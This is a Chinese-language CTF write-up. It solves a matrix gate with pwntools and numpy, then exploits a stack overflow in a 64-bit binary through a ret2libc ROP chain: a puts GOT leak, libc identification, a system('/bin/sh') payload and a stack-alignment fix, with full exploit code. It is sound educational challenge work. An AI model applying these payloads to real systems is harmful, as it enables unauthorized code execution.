本题出现的知识点蛮多的,虽然到最后就差最后一步没做出来,但我认为通过做这道题的收获还是非常大的(当然踩的坑也是不少)
0x01 矩阵
首先这道题无法在本地顺利运行,因为这道题一开始有个矩阵计算的关卡:
时间有限,而且量多,每次都是随机的,而且这块没有什么溢出点的,只能计算。
所以一开始我花了点时间写了个自动解矩阵的py,利用numpy模块来自动识别矩阵以及进行矩阵相乘,后面的数据交互处理我倒是花了很长时间,byte,str,int,float换来换去很麻烦。
from pwn import *
import numpy as np
import os
p = remote('159.75.104.107',30372)
context(os='linux',arch='amd64',log_level='debug')
#新建两个文本用于临时储存ab两个矩阵,我认为挺方便的,虽然确实有点蠢,但是和numpy自带的loadtxt我认为搭配得很好(但是单行或单列矩阵会出bug),如有好办法请大佬指教
f1 = open("./a.txt",'a')
f2 = open("./b.txt",'a')
p.recvuntil("A:\n")
f1.write((p.recvuntil("B:\n")).decode()[:-3])
f2.write((p.recvuntil("a * b = ?\n")).decode()[:-10])
f1.close()
f2.close()
a = np.loadtxt('a.txt')
b = np.loadtxt('b.txt')
c = np.dot(a,b)
x = c.shape[1]
y = c.shape[0]
#此段仅作调试时用
for i in range(y):
for j in range(x):
print(int(c[i][j]),end='')
print(" ",end='')
print("\n",end='')
#此段用于打包发送计算好的矩阵
for i in range(y):
for j in range(x):
p.send(str(int(c[i][j])).encode())
p.send(b" ")
if i<i-1:
p.send(b"\n")
p.interactive()
#自动删除
os.remove("./a.txt")
os.remove("./b.txt")
出现了try your best,我们可以正式开始ROP了
0x02 泄信息泄露获取libc版本和地址
首先,我们要理清几个概念,libc,got表,plt表
libc:
静态链接库会编译进可执行文件,并被加载到内存,会造成空间浪费
静态链接库对程序的更新、部署、发布带来麻烦。如果静态库更新了,使用它的应用程序都需要重新编译、发布给用户(对于玩家来说,可能是一个很小的改动,却导致整个程序重新下载,全量更新)
动态链接库,即libc,在程序编译时并不会被链接到目标代码中,而是在执行文件中记录对动态库的引用,在程序运行时才被载入。不同的应用程序如果调用相同的库,那么在内存里只需要有一份该共享库的实例,规避了空间浪费问题。动态库在程序运行时才被载入,也解决了静态库对程序的更新、部署和发布带来的麻烦,用户只需要更新动态库即可,增量更新。
Linux下动态库文件的文件名形如 libxxx.so,其中so是 Shared Object 的缩写,即可以共享的目标文件。
GOT表与PLT表:
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局偏移表,这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,如下图:
PLT表中的每一项的数据内容都是对应的GOT表中一项的地址,这个是固定不变的,到这里大家也知道了PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址。
如何进行信息泄露?
到这里我们先打开ida
很明显,buf只有0x30的长度,但是检查的长度确是0x100,很明显的一个溢出点。
根据pwn checksec,我们也得知他开了NX和RELRO,其他几个没开,很明显就是ROP了,而且题目没给libc.so,那么就要靠我们自己去找了(也就是ret2csu)
pwntools自带的一些函数能很轻易的帮助我们获取elf的got表与plt表信息我们开始构造payload1:
payload1=b'a'*(0x30+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
这个payload作用是,同通过puts函数泄露puts函数的got表地址,最后再返回到vuln()函数(毕竟我们泄露的地址不能只用一次啊,而且内存中的地址是一直变化的,第二次那基本上不可能和第一次一样了)
传回来的数据我们要进行处理,一般来说64位程序函数地址都是6bytes的,而且此程序是(大部分程序也是)little即小端法,u64至少要求是8bytes,所以我们需要对其进行补全:
puts_got_addr=u64(p.recv(6)+b'\x00\x00')
print(hex(puts_got_addr))
于是乎,我们就得到了puts函数的got地址,并且可以根据它的后三位判断libc版本:
最后的“5a0”是一直不变的,我们可以利用真实地址后三位查库libc库
当然你也可以用LibcSearcher.py就是了
这么多版本,到底哪一个才是我们需要的呢,LibcSearcher给出的信息是如下:
这也有两个,到底哪一个才是呢?
问了大佬,其实libc6_2.31-0ubuntu9.1_amd64、libc6_2.31-0ubuntu9.2_amd64、libc6_2.31-0ubuntu9_amd64这三个库的版本差的不太多,至少常用的函数和字段(比如write,puts,open,read,system,str_bin_sh)都是一样的,没有任何区别,所以我就下载了一个9.2的libc.so用用
0x03 offset
首先需要知道:
偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址(虽然我写的时候一般是libc_base啦坏习惯2333)
libc_base=puts_got_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b75aa
其实倒也不必libc.sym[‘function’]的,毕竟我们本来就可以通过上面的libc库查询网站查到对应函数的在库地址的
0x04 最终payload以及修栈问题
第一次我们成功的泄露了puts的真实地址,返回vuln我们第二次就可以进行rop攻击了,毕竟我们已经获知system和binsh的真实地址了
payload2是这样的:
payload2=b'a'*(0x30+8)+p64(pop_ret)+p64(bin_sh_addr)+p64(system_addr)
一开始,我认为这是没有问题的,后来发现64位程序和32位程序还是有很大区别的,之前有一篇博客讲的就是32位的,比这简单多了,因为不需要修栈
请教了一下大佬,大佬告诉我前面加一个payload即修栈,果真就成功了
p.recvuntil("best\n")
#注意vul不是57B的那个
vul_addr=0x40157C
p.sendline(b'a'*0x38+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vul_addr))
好耶!
0x05 最终exp
from pwn import *
import numpy as np
import os
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('159.75.104.107',30372)
elf=ELF('./rop_primary')
libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so')
vuln=elf.sym['vuln']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_ret=0x401613
f1 = open("./a.txt",'a')
f2 = open("./b.txt",'a')
p.recvuntil("A:\n")
f1.write((p.recvuntil("B:\n")).decode()[:-3])
f2.write((p.recvuntil("a * b = ?\n")).decode()[:-10])
f1.close()
f2.close()
a = np.loadtxt('a.txt')
b = np.loadtxt('b.txt')
c = np.dot(a,b)
x = c.shape[1]
y = c.shape[0]
for i in range(y):
for j in range(x):
p.send(str(int(c[i][j])).encode())
p.send(b" ")
if i<i-1:
p.send(b"\n")
os.remove("./a.txt")
os.remove("./b.txt")
p.recvuntil("try your best\n")
payload1=b'a'*(0x30+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendline(payload1)
puts_got_addr=u64(p.recv(6)+b'\x00\x00')
print(hex(puts_got_addr))
print(libc.sym['puts'])
libc_base=puts_got_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b75aa
print(hex(system_addr))
print(hex(bin_sh_addr))
print(hex(vuln))
p.recvuntil("best\n")
vul_addr=0x40157C
p.sendline(b'a'*0x38+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vul_addr))
p.recvuntil("best\n")
payload2=b'a'*(0x30+8)+p64(pop_ret)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
参考文章:
【1】linux动态链接库 https://www.cnblogs.com/zuofaqi/p/10440754.html
【2】理解got和plt https://blog.csdn.net/zhangmiaoping23/article/details/82590259
【3】中级 ROP https://wiki.x10sec.org/pwn/linux/stackoverflow/medium-rop-zh/
【4】ctfwiki中级ROP level5详解 https://www.jianshu.com/p/af06a5b0b1ad?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation